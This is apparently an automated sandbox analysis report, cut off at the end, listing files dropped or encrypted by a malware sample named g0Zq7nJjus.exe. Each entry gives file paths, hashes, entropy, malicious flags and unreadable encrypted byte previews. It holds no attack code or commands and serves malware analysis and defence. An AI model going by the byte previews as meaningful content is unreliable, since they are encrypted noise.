Preview:	[{"Sy.../"W.r...&...y....m......\..u7r....#.....92.,.h....h...v....#i..?..V...a.$.,E...x?.....".3...W.R^..>.........3n.3....,./f.NDJ.)..........M..2...%U......12.}Q0....~._o.C...C.]...[R....CY...\|.......wYE..-...T...<jWS.....B......{.+......jZ.....zm....5Q./....Z-"<.,._{.m./E.-[.x.6....cc..sy.. ..>E..Q0...2x.....e...N.0....j...........!.k..1....(9..?..#.v,N.[[P.zD.R..k.W,....:3&D...C.WYUw.. &..().:p.&.\.pf..yb&...9.k..-.Ul......I....Y:.{........T.".@S).k....]t.O.@_l.t:.,.x...W.)..O..-^'Aua...z...%..7..d.._srSQ..0...O....V........Q.v..}...?...\r"F............z.B....i......./7(.....U. ...F.~j +....%D..f..U+7._.....Fw>[.. W.>..\X...0(a...."o..7...q.>.J.`..S......u.6.?.G.J&a5.+.<\|0.....o$M;......~..?.FjX.....c.59..T.d4......3P..M.n....%.+8.....P....#.\ZZ...UB..Y.d..,.\|D...Wx.....R........2....'..p.A.._.y..T.~._.5.).Vm.O....l.B....W...\!:h..oY_G.1......6s<.'...?c..@.MQ7{4.)u4....uM..E....s..z...B...Z.S..;.\|x.q......@...Ph`...".g.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409605511411373.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	111235
Entropy (8bit):	7.997915251209076
Encrypted:	true
SSDEEP:	3072:+au/CGJEm4Lo8+kwBPxbmoUT9n9rZfSBHz:+au/OS3Z9moUx9rZOHz
MD5:	678F3F09D40E53CDD5A8B4B24A055F46
SHA1:	4D10F9AFB604C4DFAAA41B01DD84176DAF44BFB2
SHA-256:	EB942A722B5F50E373906F8B8E94DAF0B7D844FA0D18E6C5B0883A49CBDD47BE
SHA-512:	4DDF817D44635E2C6A6F69D73126EE572937A1AF06942B1D5DE9E4699D6BB51CD8892A3CAC11C79E6422918E6B6358BCEB9C023B729C6AF44A1614C2A52D05AC
Malicious:	true
Preview:	[{"Sy==.Z]y..C}I..D.=...3.p..........u...T..+.(:1..P).bih..._f.RC.R...+.7.#....E.......].7.C.....^....1".,Wj......`.....\|g...g.....]......>..s._...'..r..H..+...8)`.=.=...,.Y.>(.....2/..>..@.T9.......O%.TP.ds~....Rqj.3...r...\|..K.. ,.9IW.Av....]"..3.l..3.4.m...I......-.._4....P..b...hl..:.. ._@B.^..!y.NX=.. d...b.6S...b.A.....{p.*.8..."....@.)...N.....&.......BZ.Bq.a8"..{LR...S.gjH....}S..tJ..U..7.6.....B.X......./..TY.q.0..=Gp...t..1'.=rY...p..+."..r/_.X..]...'..u......(..r.1.....`~...r!..R)..d........P..z..8{ZdF.8bH.lp...#....m...J...U.rZ{RB....;...BZ....[V..^HQf..M.`@B.7.......e..o.r.G.\qm".M.iu...1/[D.....9l.:....J..&G..}.8..vL..~XU......<......\.E.....&2.~..x}m.#..9{.....^.I..ar0.a....nT...".@...)%.......j.\|9.2..nqT"..~'..li.=..V.4O..\J.vk.".s.-..b......c... ..Mh...$F.09...n.L..l@!....h..&...d.:.0.${.<...........e.".R....I..y.B........!...!#f.T.L.......:..i....aO.........u...0~................x.1.T..BX.....?..FS....q..e....)5.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409607532982526.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	111236
Entropy (8bit):	7.998321302317018
Encrypted:	true
SSDEEP:	1536:ZpoN5ZFCZMzm+qk1+uy26m/LWeC/JtOHsv264U2B5YrmxUTmnT94gewAZ9180s7D:ZSCyH/1Km/aeA4Uw27TmTGzd80meO
MD5:	35DF1C4F7E863BA83B2FD8AFF6EF756B
SHA1:	752ED7454964D99FD32EB3B0A8CD2A1F993CF722
SHA-256:	26C653364DD7BE6E6E1B6FB8CFF213DF5C4BD99D92DACB8B6A529343F2E5AF14
SHA-512:	CBDAE48822EC934C28E853F16AEA77188FE1BBBC93225E3AC66E3E6038B7787AA470A71F88ECDC675FE5AA56022275CD8A27DFE50E99113F08C96D3416FC238F
Malicious:	true
Preview:	[{"Syk...O...A2/2l.'...4.}....f..uoe.'.zb...[{..guO[....3....@pp.....o=.:..&.Nh.`.Q8...(.7...y.p...)..a........~H.....s.i"..{D....=..GT....d..g{...nc8\|+....(Y4...a....?.....H(1L&S.U...G..=x.Ki.?!u..4.c...i.& .z...X..b#o..s./..'..(Z..&....6....T.$......d.f\|..}......;....t....O..k......7..~'.K..g.....Gm.<YF..e8aA.E..;l...........^.....-.,.....O.".}............&...G....M.Pw....O........F.5.R..5......w.N.G...I.]..x(z...@..L.b..+..t........O.\|...f....n-....9L....0v7e..]....=gz.E..$y.b.o...0..^..2N..s...@.[p?J.;V..8..s..X.......K.A..Is..Y).6!.j.(..,...}...HC..0..q.o'A?-Q)...~i.A..4....\...m..*.........c.kT..U.w..T. ..&..X....L&.s...K.%2..#..?M...`.....N...7F..c.q..Z...D4...=.q...v'+8I.TO-...'.`Kda..ht7......!.pG.SX.......nW...q.z$.~..Qa....j.(kh+,f.\..C..I..e..d...$3.Q&....U...5..D!.x...K...,C..H.........1...n..q."...(.[.y5...{..1..K.._..."j..E%.5..H:..]...].s.ySSBZ......V....:..`......M#.......2f ..xg.@..S.u^yU..\|..^[.m5>....n`^.2..-.6.--...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409608313396144.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	123807
Entropy (8bit):	7.998439612983196
Encrypted:	true
SSDEEP:	3072:NN/mxeFSb2S8H4ePf9cQlkiwtqermG7NiVN/3let:byeWwPVlkiwttr4VNot
MD5:	6D1B9B35511FC1AFE7533A52F548FB54
SHA1:	342CA15BB7AAEA178CC8F02127840740134335CD
SHA-256:	1B8D15A4CC37FD778C70B62BC9F5C25B36DED7F0A3625A4B45C8C6F23F070BFD
SHA-512:	CD543ACA554365DC4FEECCA2C190DCD67FFF6E377372D8BC8E186AE26CCC9A2F155BF372C67D1B4FDBD1CE5B9E5C63D33CA0CC5713680CE607A230D9DAAC40AE
Malicious:	true
Preview:	[{"Sy]...H372...)...q.&.UV...Ta.\|..)..J.>.+.$y3.....J.e.'...M.9><.;....bW.sFI.^..2.7.......K...W.7b...A.mP..T.i{.).......rB.....5..K...G..s:J...@M.@.l4..+.E...~.. Zr.o.. ...D!..Ye..E;I....\...jqq.. '1.9M.#.D.8.U..=.....P )..z..U.&b...~..\|nYr..".u..3>.of..7x..8Zw.....\|l.P..r)..3...........b...Iv...vBb;......x!"...42}.}.W+J.H!/yO.....T..;.....Y.nr=y.....\|...._.........H8...3Lz.-QY..l.....bV.t..Q..'.r.a..4#.5...C./&..,.:.)K.#.c...........&s..^Y..>.Ec.R..zU_....!%.vy......y9..i..y....\|...v..Y\.~....$-..O\|kf..K.H`...C;@.=sT..?~...\g._..m...v.}.P(....BC.0..Q....L..:..uat.]'.e..`s..1K>...+..c...}7o...0..6...3......ZA...C2...sV.. :..z..b...6.a.V.......O./;..AZew..u....&NJ.IQ>.C.m..T..Wj..s..eH...Ur...[f..`....:.6.f...3.>......K..E..G.U.2>.....=..P...4..,M.?...\|."...b..(.)...._...@B&....@..8.x..0...R]........$...S....w..j~..]Rl.G.9....Q.ki("...S....,I..<.....8.R...O..tpyf8..m........m...+.6..qz}..M"T..]dz......-....+i...Y....!6.H.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409609587090804.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	123809
Entropy (8bit):	7.998465275016646
Encrypted:	true
SSDEEP:	1536:fyyLJRnZU4NITA7orI7SFg34Aem0BBwfg7Xml6NJa6GFPITj5yF5/fzilDO7OTln:6OZTWEL7SKI9B6qmEwJMjMn3mliCJRHV
MD5:	507141EC41EED068EAC2C2CA64C919A3
SHA1:	98E911362E81773A30C9C233051A13FD9096CA44
SHA-256:	99F4AAD7B653B662D5EB0756800C7C36D2DF098E851599B5541B8505324687C5
SHA-512:	19D38656D7CEBFCA96F09E22458FE98BCF1AE588A6BBE28D72C37E0269F69322516353DCB1E7AC628FC4492B8A973E3A76496B51C30017F91496DEFC862729D3
Malicious:	true
Preview:	[{"Sy7.v.e.....M..%...g....].cMfi.......<!0..........{./...W.......GD...{p...$.R....V.g....r..O........#.+.V......8.e..@m0...V...VZj.f...s...`..Z..i..j.l...&5......I...d.]..k.+D.^...K..<=+.......5.m.l..,..K.OW`...?...=.=....R.K...."z.Z.....7...b..?..u %6...+. ....qS9.U).(GP...mW.........Z....b.Q.6?_.........9..........G&>..~..v..`.@.....s.!.Ru.6.s...,.P...O_..Hh=....p..H@.U.8Bv...n\|.....[l..S..=........q....x^...W..>.V..P.....r"a...41.1..3.)...3.s.6~.R..L..7..Xg(h'?E.....I....M_....z.!._..y.64;M.+.,(.-..@/....,...........{&U....?.>...:0.J.F..x.>..~....pM..!..}..A.R...1...c.z....k.w..Ty"..O..O4.GY`a.Bm'.....<bU....5C.ZR.r.p4Y.%}......\|Y$.Z....A;...fs...tO.A...q...b.`.........wi.m{......A..C3.Q.p`.U.=v.E..#.[.Y......:.[. ..L.V.......".Y.mF=.%.;...Ys....;'.X..e.p...s..$r@#....P...,.T.&...(....4.7..Bj...z0.&u..@..lw.,Jy}..vi.$.._........M.!.."..K...gS.8e./.;.e...k...'..YF...{..[....y%.-0.tY.....K3.!.4R.5.[...7~r.!Y.8.z...\.....AG.

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.991982640907029
Encrypted:	true
SSDEEP:	384:MuGFErLi/E3LMRM8c3p1z4KxLiVQVP92Mc6k3+TvrRDubNs7Qev/Z:TrLi/qLMRM8cZb1cAVDCs7Rv/Z
MD5:	49C75F74E45ACFB4CB6CDF012FB966C2
SHA1:	8BF7F8160E3B81305815CF79C25C15912633639F
SHA-256:	0EBC8C7C1BEE380E2EABFD8B5B46D116174FEBEA90C28A3FE97A526E741AB857
SHA-512:	F39CECC5EE1E733D0E54710B80230C8A53E1B0CC30B2A8098FFAB2F6D7FAC0B180DEAD64C3D12C0B514A6B4C5522FB98305116C8BB1A5064BFE1D484265BCC33
Malicious:	true
Preview:	05-10.`........O.L_.".u.,..T_SLzE}....J.R.fm..)..@..M.Q....q....7.....L5.F.6k.n.Q.#k.7.Gzk]7`......@....@..2..T.....K70/j....HR.4a....3.~c,.b..~\.3.-X..]..@.......e..\|J.#.m.......V;....o.L....u...CF....b..z..$..=.d.]=I.........%...M..^v.&...B.~$iC..Ur.^....o..A..o+...........]C..C.R%..Y..<B@..(.."......-."'.L.V.N..l[.[..(..).e.k..F..D..."4...^(.X...8.-t.+.-....w.........,s.!.]&&.\|...w\|....F.....at...UM~w....).ZY........D.Y_F..(..!B...]2.c.....)].8.T<..r.H J.\|.<;V.0...?Kv.k...,xj\|.s.....z.hoQiC...y..q.:.>N......s..Q.3{..b......./....L1L.(..:>..O.b.O..N.DF...R..H.IU.fK.~..G..!.v.....&(v4.o.g.9.....Hv....r...f...L..x9S.A.d{s....b.).;....T.[O#w..o....).....5'.....,}..a[vGzh$z......>...r.F....>&.!...p...8JB.]K.-.....NJ....I..-%...:.W.y...^..FRi.)..... _fHi..Uq....qU_."[G....!p...C..t7S.......(...@L.Q.!...;)On.....a...t..Y..=k..C.F....!(^..I......@ML.N...B..S.c.+53.P.\vE~....y=.v.{....3..j.-.<...9p.s\..t~..t;.H........x.

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.385817052790709
Encrypted:	false
SSDEEP:	6:6c+s835xznvlQqQm1sUAODvdKsPGclC6BgHtp/pfOlnIS1WdNcii96Z:6Rnv71sUAmd946B0RGWSUdNcii9a
MD5:	093096DC213384C8E1D84713A10BE7B7
SHA1:	6BF018DD793734F741055663B197045527857766
SHA-256:	DF20DCB9FF59AFE4D36FFB4377D82F7EEC7D547065334FEA25986EFB37BAC2CF
SHA-512:	B722EF9E04881082AE2F059532FC88002FF9F5C96844A2F9B34665150E65456358E646AA2720BFD431FD476AB72F75291DE9511A35CA46D206C2455F31162BE8
Malicious:	false
Preview:	%PDFTt<....hRO.9e..{+.U.[..]R....m).Fo,....".y.M,......j'...1{..X.;..L.g...O..M.q.P,.y4e...>z..Z.Y<...d..9.e=..S$..!....I_i..O..^.....u.Z..?.s.LzC...[>N&sIO....e.l..P..y.._....`hG..w....b....o..JxPZ....AyU..W.:PL.....0m.Dxr\..6..L.B.OO.......F>n...%...50..........*nI..+.$/.....(mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.324352324443703
Encrypted:	false
SSDEEP:	12:Odd/rWM1Lt3+PnbSAErkGrQTpO4dzSUdNcii9a:OfrWK8pYfr+pOr2bD
MD5:	FC857568CB3A4721B1A703B62E059A05
SHA1:	2406F1188F7954AC93B85B4E97C43353C3A6122C
SHA-256:	F1DE31E087445E17822B50AD78B5E547DF1EAD43F3231D0D6E2B3905B15D212F
SHA-512:	5D244E611E79F3A3116E2FF8F3B86421854858B8310CD41AB7227290475D4B121CF1A97395E1C822ABECAAF90CAEEE24F58C268A9395CC7892C7FABA696C55C1
Malicious:	false
Preview:	%PDFT.w.8US.2.9....]S...I).....N4>Z..RT.s..'.F....Q/R...3.@....t.!.[S....y~. .......P.~M$W..~;dU.....`8..[.$p..n6:3../.S........ZT.pN..^l..Q..........\$.K..9..\|.....0.sm6E.}.....E.<o.j.p.R.LE...S.G..W..R1k.T.>....,....8..C...<$....2S.)..>cU..$...c.L...ru.I.....!7Yo..R...'~..S...c.!.u.Jd..,.*....y<mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\CameraRoll.library-ms

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.845684820361408
Encrypted:	false
SSDEEP:	24:1zzJ83hGIhb3b4FgHBs0z0f+HdEXJFy7ikDg6rReAf0RrOQ7lLeef7+2bD:JzchvV3b4Fb92H2Q0ERifRLn5D
MD5:	2959A041AA6883DCCE330D94E9428187
SHA1:	6DE82D3448BC97CF810F182A04DF7FEC3C0AA8C9
SHA-256:	4DF29D458CD6A3A2E2D8DD4D53391B8D71454A9571FB080FE8C57E518E247D49
SHA-512:	D882F7F6BCC24D1F0FE49EDFF8E4CBC21E3FDEE21FE14E7705DA342E74E4268FEF4CFE22DE180805E0ED33C858BE5F2DE993C96ED618141E6B9AD2D11005D20B
Malicious:	false
Preview:	<?xml.Yj.M.0_...f..#iN.Q.^...sU..u=Y.MQt..(#.W..E_..x.s..z].......P.B>..`.....B........!..}...\....P.f.".9...<....W..C...&GN....F.cL.l..E..V..j..-}..e&.N..... ..^V}....&......0......~.8..g....k.X2..^....^h..v...L.f4..%J>.G.g..]..S./V..Ak..x(..Fb..L......r..Fd\A....bX.......r..._....QquU.&....C.......x..;X.'e.6....-{+.vR:7r..{.Z..:}..,...%.... ..F(..h..:...O.$...X!.[.Q..<.R)B.go+.C}..K.q.o.v.#@.HL..A:.....QR.By....x...A..J}).%/j..l.XX."...MoD...@Na."q#a1o. X.:...b#.W.5..%.t....e.V.Q..e.YC.9...;..j..vz.{w0H\.b....6.5pU^^...i..c.\..Xnoh....LO.............c.".(.PC.........X....\.j.5.V-....(n..c.&Z.FD....j.t{..9......CVb.-...F.........?[=..>..,.1..0....5R.5.PC...C..l....D..@5.~T.t...Y$..Q..V.>.j.s....$TQ..p..[.:..ey...Z).... ...D.....')$.KCS.V=..\|:i...t....5m'.4}...m.\|.....+rl......D...Tv..HU../.\|....R...eG..[.cv-..-..C..3!._J.<.."z.1.>.z.-...)?=e..t.P.......,'0..W.e.6W.H..v.Z..B..d...q.....z.t.Pn2.....g.SF.4........<.....Og#.'..9V..s#

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Documents.library-ms

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2441
Entropy (8bit):	7.92541851980483
Encrypted:	false
SSDEEP:	48:iCqB/b7Jv57R85Xg4vzkMF34l0Ba6580jXir6C+XL5jPb/UD:iNRv5NIXgnm34he/XiD+djI
MD5:	B1D6C4B52986698B5E34A4AFDA9A3C86
SHA1:	823E7CD1281170920E200C55D6860F0B3EC09E04
SHA-256:	AA3BC285941757F2CA5CFAB2FB605313A30D433C11B2926C61C69FD080614715
SHA-512:	D55C240BEB5112AE7F5E9D6E1BA624E4D2421F17C2C4342C5A3FA9F46ABC09F6F7F46ED93B18BDADEDD94EB40112E536B14A6CC280BB92EDD55AEF69134E9283
Malicious:	false
Preview:	<?xmlp.}k@..M.I...... .&LOK..#.i..vc.(B..........$?Ql.$...N@.\n.{.[.@j.W.t.-....V%.&.K..N.^..L...W..:..]..C....L.0LH!..?!K.v..%..K.%....}!2;.(0..m.Z...g....6p....I`.U.B...,S..<.X3..6..]>.....t.2....W.]........?@...x..7[/.......J..G&.Q...g...`...4J.6......[.sz.\<.z.}N7G..y......#.h...j.f.9..m`..,..L..u<...u...(...~....E1.......b..-..3.X..eBn.u..p....Z.{..U8...C..C}.."~..).f?z..Z.+N..>..ko..iF..+.y..J..,.z...h.o.<1.....P...V....$D.\|f.).\...^...[f'1......!..Qb).T....[1E..n...,..>.C;`....qT.v.h...h.l.L-...:Gh+R..\|..Kb.WC.....dq..Fq.Cc.?....d=...8.Y_..]....\|.u_w.....j...e.......4..f.v.i.^..O}...}......(..h..^...u.5I#)#.;H.r....D..U7..%q.A"...n."...a...E..Tx...pfpmU/...q.u...%.{."..Ia..~.m.b..%.u.q.!.:........B~............E..[....[."gl.E....d....i...:..EL...KcY.. ...O0.Gc...w......5. l'T..~...v.,.1....UX.....,6..Ym..+Ae...[.{i..../.b..U../...[B..S...Y.9.a.2.".&...$/..\y..B..sR....rOB.o.E.......C..l..I....`.Uti..'..M@.[.TP.`*q..Z...t...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Music.library-ms

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2398
Entropy (8bit):	7.92971815110979
Encrypted:	false
SSDEEP:	48:kXtNpyd2prhIFrWTm8ZEj6cnoSkb29RiuAnxgnkyDwFOVD:kdN8abKYEucol2DSi7H
MD5:	13073C436F7AD06588625968B560378E
SHA1:	8A1075F09856A65A811C3CA91B3A50D2E57C7E44
SHA-256:	41231DF9FA6F4867733BFF0ADFA9BEA5A316A7339C302C80D29D95E420C9B465
SHA-512:	695F90ABF5F9D52734EC01E1A2F4945C6F3D7EF46D3295C63DCFB2A4107E730127653847E77D49041AC7C0C1EC07CEE77E365A0F24D569CC731C2A8448CF9198
Malicious:	false
Preview:	<?xmlZ.....s....Bx.....P.....~.G../...@sFH8..Bo.+..V....+..v.....ArE>.m.@..%..w......O.b...;..g..n....k,v....)..Y...O...`.6.....o...>..r.^@....[....e......N\|',\|h.jL.....S...:....@"p..[^....L.........@`../+n.8]....<./9........E@k._..A...i.....=.9...s{..o.uB..O.......B..y...o..."^.A.U.. [.T...6{.\|.).W ...D}/....^.....,2ha@.j.q.P.5..kIX1.....?][.._".........3^..9;../8.v d'..&.(.....#..X.1K......}..D..7...x-O..i.%..>."./.... .?9.".0.(......l.>..E....v..N...d.%cKF.%#x.......:...l...Kg_....{..."6.?._f5....P....iW..1.W.w..w.T....3.l.(....J..G.H..6bc.. \../w.Au..wb.".@....I...5.b.&.n.B.n./.,g.i...K9.<.;j2.v'.q...P.K3..t...%rZ".)W.....0^hn...n.s........d....3....>.Ru..]............e..Z._..._.c`.[...c.gH.-Q......%....#...W...I..%....A.......3z...wV..;#......K..,...)...fX..8.r.a...:.b86.EI..Ch[.K. q.^xs........P<....q..!3...H2Y...[...n6.K..%*-=}q...sP/.m>{W..../.%u..+Ic.w./z..J_..0j.T..3m.._.E.Ly......g.3.@.;.T.....N\..%.[....5.y.pr .3.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Pictures.library-ms

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2416
Entropy (8bit):	7.93045826127637
Encrypted:	false
SSDEEP:	48:IjURq7AkCjDQou7VnsaZPLdky/PT9L/uTcMhNm2tKR/6AkLD:Ijqd3jDQhVnJLdvPxLU7+CAM
MD5:	6769D0BD2AE99D01D7129C0C9DE73AD5
SHA1:	4B37779664336004A4A31705CC50E975E14B84F5
SHA-256:	1366A19E63EB33DD9F457F9A4AC8CABFB0399D836A3AE8707C235C17E3A97794
SHA-512:	FE94070F111070014E4A68A8EFBBFF79CE2F91455AE5FB83D50FE6E96B48A331ADE690FE358C1F5CC57231015D92CCFACBB7A4B762D99188A6054361E83636AA
Malicious:	false
Preview:	<?xml.*.E}._.LFAiUi...........-f...5.......n[/J..#TQ..W\5..:@.@.....F9yf....}.e.......m&.N.G....[x..4/W0..HXOH.m.qTB.c1.v......u.8.a.......ea.M..6B\|...j..+[.E..).9P..{BW ....b..4<.(..tiD.`.m8..V:v..hLt....<L.4.....%.m...=........c.Ov...z./..^.[...%....9K.I9..~dd...a...$.:... ..{p..\|.......6g...._m.F....]..`N..J)X~..']...^....r.w.....M.....e.h......u.......5mVI......&..z.V6...n...i...EzB.\|..........Yv.Z.T.....G.W.n...s.G.):.....f.a.o.....>.......l.....0.N...T..CS.....T..+..%D,..Z.fB..!.H.....I...>...`.E.......iF..F6v..9...&.;~./......sl....M.e.. .H.......>..R.}4.X..O.D...5.bz..r\t.`.E.;.$....,th!jMc...12M/7..-..^.4........0aF....A.(..z..B...-!.h.Dy.R.QO{........;.v4;r@T..9)..k.2C....6tT.`}..m....\L...._..b.o K..$FX:...L..it.t....5..v.....w....J.t......G..V.b..\|.a.8. ....W.a.7.... .......h$.s.%.ZqK..R6.r........T#.#....C.^)...L.._..1..a.:DLO.......[.....+z..g.U..X.:5......D..._7.u.m;`...,...W...)D....W..U....5d..Z..6.}..u.(.$..GE..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\SavedPictures.library-ms

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.865044601609867
Encrypted:	false
SSDEEP:	24:MMvqBgqzOZPVe9o3W66kbe/OgDFX+nPSrsDriLVKM9ddH2bD:MbYQo3n/e/OgDFunEsDXD
MD5:	5E518131725FB5736466DC81F5500884
SHA1:	017A4C220623AC8DC47FD9E8273D5E2969D0C8B5
SHA-256:	2B647F1A509FA5186B0993DAA077149041AC6B863FDE9136F88564EA337D42A5
SHA-512:	D94A688F5F550B347A8064B5C229117EA11B71422F368ED79FBB12F912010BE130B0D2743E6B828F42BB1618188F04D12CA187AFCC5E0A327A2F03F8717F34BC
Malicious:	false
Preview:	<?xml.cV.. ..D.u.\.Z+.n.>D{..Z.L,.S....j.......S.....2.W...r...9...5@'...;..)..r.G..8.\...L.'.\|..>.1-L.......m[..\.......x.?...4.G.....U.:....o....e\...\|o.Q....BY..x.E.m.y'i..8.._\|.Pyq{..n8..$.y..?....4..0}9qy...\|KYW...N..ak..s.-.G.K...!,.6t4.E.m##.......O.w.9.$....o\|.hr.X(.'\|.....r.m.V^..8../.....i2...BH...j(.lA4.D....#l...D.).......;{/..fz..$D...w..a.`3QcC.,`..q.r/.M.W./.>...n.np...1o...HU+.f..........B.Na..'w...[.......i5g.].....]... 5O.2/0....M7...vI.&&.q(W....oavj:..}.[..5....2.k.Z.)<d..HD.u...r.......5dA7..4...WOr.D...s..`.....gm($....!.&i.~.N.C#S..^.5.....b]......V.......[7..\|...><..)y.L...S?.=V.6....#}.Hr.ZW;.......s$.:2..P.IfF...f[.......q......a.C.v.d!S.$..........\|#..>{......-.v....(....F3...?_....B.........]....r,....`.(.....W......!...f.#....w~....ke".Iu1j......Q.9g.....xO.8...v..f.rcb6.?P87LE....F.X.E..%.8r.....)....c.e.i...p.0<......Z...\../.4A3]..jJ..."Of.....o-.Teu(>.M.g...;.....f.Jf...nV.6lKg<.E.\..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Videos.library-ms

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2426
Entropy (8bit):	7.936614980344903
Encrypted:	false
SSDEEP:	48:qCFRJoiFuNwBeYfUI0Wp0OMS5Lewy/QyjOE8StD:qYaTA8IAOMScr/DjySV
MD5:	7A59998E9E07A3C436B930000F91EC09
SHA1:	B5531A6A83A5DF848D475FC843606CE7D4D79DDF
SHA-256:	CD7F0AB2B0686B78990835245E38B606D7B91C620C00539C3DED1F5ADF3580D4
SHA-512:	EFA6E14D9B8F202C7399EE7E7275B08501F77CB2AA3ECB39A78BD67C7CA82E9031CEAA3E1462B60C7EA64E7D55AA16A6BA6D1C2315EB3869B98F7813A0D61FA3
Malicious:	false
Preview:	<?xml.D..T...OD..@....H#'0.R"........a.a.j."....../.#.6.N.uT.... ...t.0..'..9)T..fx....o.........q.!f@"D. .Y....c....S..G..k....a..........I_...z........y....7.e.../.tR..".#./..T..S.J.[..~9..1......8.!.L...a..%..o.a..."..TL.~uk{...~....x.......x...v...9. ......c..l.G.Pp.U..L....R._..\N..n.Nt...S.1/h.2.....P..V.....k.,.u...G.1......m%..k(...h.E.P....E]I.H.........Q..t..p..i.>)..H"B.m...8.V..8.TYV$.ir..GR..)...K10..(C....g.SD.}X.'y......5...~A......xp.d...\...%.tT..E...e.3..r..5...[.....&.N.58n.........`...b........c.?..d.]..r.Q...$I.4.-....}%..gT$3i...9@!(..O.R....h......D.......q~..&3.W.......<.5.C%....A...]...2g..M.j!....n.iU...5.......9.4U.Q..=$.I....y.............?}.Xj... ...{...\|..kJ>...D...^..#./AWzQ..i.j...hEJ.Q..7.G/R.>}b....N.:.....\..9.B.........{aW>..vB.......~?hGb8Nk..r..E/.....p.ic....&'..{~.E.q..71..P!#.W..[..w..'..98.jW.x_.c.x.Hrh.%.G.f....K.....{IP.....5.x...7...V;.Q..`...w.7.N....Z0.r....?J..6.{.vHfY.<.4`Q...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ATSCRGPSUM.png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847246715487171
Encrypted:	false
SSDEEP:	24:gTIqPz6mu1xZkbFk9tzduAj3mkYI5olGilbX0D5Cb/xtohhWBKF3/lm2bD:gMU6n10F6tzd/oHVdltohkevfD
MD5:	A10171A3101E68CFA3F3682ED0E45E7E
SHA1:	EA4F9BF1641E521E5694433EC3D3A7733D7BDD45
SHA-256:	37F3E9B6EB0F8CFD07F21FE65839C06834648756F159F1412F2F75F99A8B37F0
SHA-512:	7222CC1FEBD970EEFD316388B65EFDB814C9C68407393F8DD395E037FF7F503F6F6F5A86B5B84EBC03681D64956EC38D1731EE1228B769167DACE310CCF5829E
Malicious:	false
Preview:	ATSCR.....v..)...7..s.......x.R..g.f.}..[l7........,<....~._..I+.\..=..r.3.h......tnfgyV.9?......?...T.......u....eG.>R....[.].Zr.G..;.......<9...T..S.&.m9.z..2..z.:iM.[..`m.)..#......C%.eX`.....Rh3.>(..{.....3..=._F`8\......N.6.hd..B.pb.y...... ....@%W.......O..~.I.._.J-0....ec.D1.$b.u\|\|.\|v.p.........f..bS.\|...~$v.Zg./....I...>..."(...P.....(...7./&...Z.?.@..`.(..x...FMaB.4....2..z..A(.R.w............7.N..K..Y.p.WHlLv..;J...lW.v.T.....=R.yu7..(,.W..T..........q..Q.1.&4.1..+..}...~.}G<w:...3......`b...H.0[.+.}.w[.#...Q....Q....^W~M..F..n...2@M....a.p.w,..Cp.....?v1@..m'.d..kY..".c..Hr!....vW.`....$.R..5.,...............B.\...ew\.22x.f._.+0.7S.u&.S=...:.0fj.?...@..P....2..].y..0........F...j..Z...}...^B`)....q...G.W.......M..T..>....D......w..9=......n.h8&?...J....'(...L....u...4\..QKJ(..J(/d...D...R./ ...{..m.j~..q4B....:\|.\Q.7...-b..y8....1.<..~.[..M.76=.3o1..+>vkV...*f.qh.....F.,..V.a..8l..$..._...2.......Q.......\|MW....m.K.S.S;...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BNAGMGSPLO.pdf

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865140431158863
Encrypted:	false
